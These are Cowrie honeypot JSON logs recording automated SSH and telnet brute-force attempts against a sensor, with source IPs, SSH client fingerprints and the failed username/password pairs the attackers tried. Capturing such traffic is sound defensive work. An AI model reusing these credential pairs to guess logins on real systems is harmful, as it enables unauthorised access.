{"eventid":"cowrie.login.failed","username":"root","password":"user@4","message":"login attempt [root/user@4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:51.177539Z","src_ip":"27.71.230.31","session":"6178fe840ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:51.506083Z","src_ip":"45.156.87.147","session":"ea7a78bb1b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:52.591547Z","src_ip":"45.156.87.147","session":"ea7a78bb1b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:54.759674Z","src_ip":"27.71.230.31","session":"6178fe840ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34856,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fafcbc500f4","protocol":"ssh","message":"New connection: 45.156.87.147:34856 (10.17.0.5:22) [session: 2fafcbc500f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:57.185330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:57.189527Z","src_ip":"45.156.87.147","session":"2fafcbc500f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":58394,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ae50cbdff2b","protocol":"ssh","message":"New connection: 8.219.200.1:58394 (10.17.0.5:22) [session: 8ae50cbdff2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:57.228025Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:57.271756Z","src_ip":"45.156.87.147","session":"2fafcbc500f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:57.529520Z","src_ip":"45.156.87.147","session":"2fafcbc500f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:58.640228Z","src_ip":"45.156.87.147","session":"2fafcbc500f4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:01.493702Z","src_ip":"8.219.200.1","session":"8ae50cbdff2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59986,"dst_ip":"10.17.0.5","dst_port":22,"session":"4947b73f1548","protocol":"ssh","message":"New connection: 45.156.87.147:59986 (10.17.0.5:22) [session: 4947b73f1548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:03.129809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:03.134328Z","src_ip":"45.156.87.147","session":"4947b73f1548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:03.220052Z","src_ip":"45.156.87.147","session":"4947b73f1548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:03.473331Z","src_ip":"45.156.87.147","session":"4947b73f1548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:04.557958Z","src_ip":"45.156.87.147","session":"4947b73f1548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37054,"dst_ip":"159.203.135.109","dst_port":23,"session":"4311c6d44df8","protocol":"telnet","message":"New connection: 128.199.8.54:37054 (159.203.135.109:23) [session: 4311c6d44df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:04.903772Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:05.728119Z","src_ip":"8.219.200.1","session":"8ae50cbdff2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42124,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2a7233fdba7","protocol":"telnet","message":"New connection: 128.199.8.54:42124 (159.203.135.109:23) [session: d2a7233fdba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:05.858572Z"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:08.073339Z","src_ip":"8.219.200.1","session":"8ae50cbdff2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:09.315290Z","src_ip":"8.219.200.1","session":"8ae50cbdff2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41448,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce11f08ca3c9","protocol":"ssh","message":"New connection: 45.156.87.147:41448 (10.17.0.5:22) [session: ce11f08ca3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:09.332280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:09.339813Z","src_ip":"45.156.87.147","session":"ce11f08ca3c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:09.421621Z","src_ip":"45.156.87.147","session":"ce11f08ca3c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:09.682509Z","src_ip":"45.156.87.147","session":"ce11f08ca3c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:10.770533Z","src_ip":"45.156.87.147","session":"ce11f08ca3c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":40614,"dst_ip":"159.203.135.109","dst_port":22,"session":"f70a9664ad83","protocol":"ssh","message":"New connection: 103.189.235.114:40614 (159.203.135.109:22) [session: f70a9664ad83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:11.786798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:11.791812Z","src_ip":"103.189.235.114","session":"f70a9664ad83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:12.037099Z","src_ip":"103.189.235.114","session":"f70a9664ad83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ankieta","password":"123456","message":"login attempt [ankieta/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:13.054470Z","src_ip":"103.189.235.114","session":"f70a9664ad83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:14.298379Z","src_ip":"103.189.235.114","session":"f70a9664ad83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41456,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3fdb38424d2","protocol":"ssh","message":"New connection: 45.156.87.147:41456 (10.17.0.5:22) [session: b3fdb38424d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:15.370698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:15.375437Z","src_ip":"45.156.87.147","session":"b3fdb38424d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:15.465559Z","src_ip":"45.156.87.147","session":"b3fdb38424d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:15.710540Z","src_ip":"45.156.87.147","session":"b3fdb38424d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:16.796735Z","src_ip":"45.156.87.147","session":"b3fdb38424d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":45806,"dst_ip":"10.17.0.5","dst_port":22,"session":"9523fb941575","protocol":"ssh","message":"New connection: 8.219.200.1:45806 (10.17.0.5:22) [session: 9523fb941575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:17.532470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:17.537551Z","src_ip":"8.219.200.1","session":"9523fb941575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:17.774937Z","src_ip":"8.219.200.1","session":"9523fb941575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:18.495073Z","src_ip":"8.219.200.1","session":"9523fb941575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:19.736018Z","src_ip":"8.219.200.1","session":"9523fb941575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":45814,"dst_ip":"10.17.0.5","dst_port":22,"session":"72a5a85cc9fc","protocol":"ssh","message":"New connection: 8.219.200.1:45814 (10.17.0.5:22) [session: 72a5a85cc9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:20.620399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:20.627400Z","src_ip":"8.219.200.1","session":"72a5a85cc9fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:20.864071Z","src_ip":"8.219.200.1","session":"72a5a85cc9fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38176,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a9147ae23bf","protocol":"ssh","message":"New connection: 45.156.87.147:38176 (10.17.0.5:22) [session: 5a9147ae23bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:21:21.251990Z"}
